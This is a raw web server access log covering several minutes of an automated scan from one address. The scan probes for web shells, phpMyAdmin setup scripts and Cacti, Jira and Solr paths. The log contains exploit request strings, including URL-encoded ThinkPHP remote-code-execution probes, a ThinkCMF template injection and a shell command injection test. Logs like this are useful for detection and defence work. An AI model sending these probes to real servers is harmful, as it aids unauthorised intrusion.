129.204.56.213 - - [25/Feb/2020:10:23:15 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:15 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:16 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:16 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:17 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:17 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:17 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:18 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:18 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:19 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:19 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:19 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:19 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:21 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:22 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:23 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:23 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:23 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:23 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:24 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:25 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:26 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:27 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:29 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:30 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:30 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:31 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:31 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:31 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:31 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:32 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:34 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:35 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:35 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [25/Feb/2020:10:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:23:38 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:39 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:39 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:40 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:41 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:42 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:42 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:42 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:43 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:43 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:43 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:43 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:44 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:44 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:46 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:47 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:47 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:47 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:47 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:48 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:48 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:49 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:50 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:51 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:51 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:51 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:53 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:54 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:55 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:55 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:55 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:55 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:56 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:56 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:59 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:59 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:59 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:59 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:01 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:02 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:03 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:03 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:03 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:03 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:04 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:04 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:05 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:05 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:06 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:06 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:07 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:07 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:08 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:08 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:09 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:09 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
80.82.70.118 - - [25/Feb/2020:10:24:09 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
129.204.56.213 - - [25/Feb/2020:10:24:10 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:11 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:11 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:24:11 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:24:35 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [25/Feb/2020:10:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [25/Feb/2020:10:24:38 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
80.82.70.118 - - [25/Feb/2020:10:24:46 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
129.204.56.213 - - [25/Feb/2020:10:24:59 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:25:23 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [25/Feb/2020:10:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:25:47 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:26:11 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:26:35 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [25/Feb/2020:10:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:26:59 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:27:23 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [25/Feb/2020:10:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:27:47 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
129.204.56.213 - - [25/Feb/2020:10:28:11 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:28:14 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:28:14 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:28:15 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:28:17 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
189.41.86.164 - - [25/Feb/2020:10:28:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:10:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:28:47 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
129.204.56.213 - - [25/Feb/2020:10:29:11 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
129.204.56.213 - - [25/Feb/2020:10:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [25/Feb/2020:10:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:29:59 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
129.204.56.213 - - [25/Feb/2020:10:30:23 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [25/Feb/2020:10:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
129.204.56.213 - - [25/Feb/2020:10:31:11 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [25/Feb/2020:10:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
